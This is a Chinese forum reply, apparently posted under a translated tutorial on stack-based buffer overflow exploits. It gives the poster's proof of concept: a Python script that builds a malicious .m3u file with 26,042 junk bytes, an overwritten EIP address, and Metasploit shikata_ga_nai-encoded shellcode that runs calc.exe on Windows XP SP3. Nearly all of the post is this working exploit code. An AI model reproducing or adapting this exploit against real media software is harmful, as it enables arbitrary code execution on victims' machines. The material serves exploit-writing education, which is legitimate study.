-
-
[翻译]Exploit 编写系列教程第一篇：基于栈的溢出
-
发表于: 2009-11-16 19:59
-
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
感谢分享 ! 自己测试了一下，附上自己的poc。
================================================================ 测试平台: Windows XP SP 3 - 5.1.2600 Service Pack 3 Build 2600 (x86) 测试工具: Windbg, Metasploit 测试结论: 1. 让程序崩溃 2. 控制EIP，测试可用ShellCode空间 3. 去掉Bad Chars 4. 准备Shellcode，完成攻击程序 ================================================================ #!/usr/bin/env python
# -*- coding: utf8 -*-
media_file = "crash.m3u"
with open(media_file, "w") as f:
junk1 = "A" * 26042
eip = "\x7B\x46\x86\x7C" # 0x7c86467b
# Bad Chars: 00 09 0A
# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
buf = "\x90" * 0x10
buf += "\xba\xd5\xaf\x4c\x41\xdb\xc6\xd9\x74\x24\xf4\x5f\x31"
buf += "\xc9\xb1\x31\x31\x57\x13\x03\x57\x13\x83\xef\x29\x4d"
buf += "\xb9\xbd\x39\x10\x42\x3e\xb9\x75\xca\xdb\x88\xb5\xa8"
buf += "\xa8\xba\x05\xba\xfd\x36\xed\xee\x15\xcd\x83\x26\x19"
buf += "\x66\x29\x11\x14\x77\x02\x61\x37\xfb\x59\xb6\x97\xc2"
buf += "\x91\xcb\xd6\x03\xcf\x26\x8a\xdc\x9b\x95\x3b\x69\xd1"
buf += "\x25\xb7\x21\xf7\x2d\x24\xf1\xf6\x1c\xfb\x8a\xa0\xbe"
buf += "\xfd\x5f\xd9\xf6\xe5\xbc\xe4\x41\x9d\x76\x92\x53\x77"
buf += "\x47\x5b\xff\xb6\x68\xae\x01\xfe\x4e\x51\x74\xf6\xad"
buf += "\xec\x8f\xcd\xcc\x2a\x05\xd6\x76\xb8\xbd\x32\x87\x6d"
buf += "\x5b\xb0\x8b\xda\x2f\x9e\x8f\xdd\xfc\x94\xab\x56\x03"
buf += "\x7b\x3a\x2c\x20\x5f\x67\xf6\x49\xc6\xcd\x59\x75\x18"
buf += "\xae\x06\xd3\x52\x42\x52\x6e\x39\x08\xa5\xfc\x47\x7e"
buf += "\xa5\xfe\x47\x2e\xce\xcf\xcc\xa1\x89\xcf\x06\x86\x66"
buf += "\x9a\x0b\xae\xee\x43\xde\xf3\x72\x74\x34\x37\x8b\xf7"
buf += "\xbd\xc7\x68\xe7\xb7\xc2\x35\xaf\x24\xbe\x26\x5a\x4b"
buf += "\x6d\x46\x4f\x28\xf0\xd4\x13\x81\x97\x5c\xb1\xdd"
junk2 = (1000 - 42 - 4 - len(buf)) * "C"
payload = junk1 + eip + buf + junk2
f.write(payload)
print "[+] m3u File Created Successfully !"
 |
|
|
|
|
|
|
|
|
|
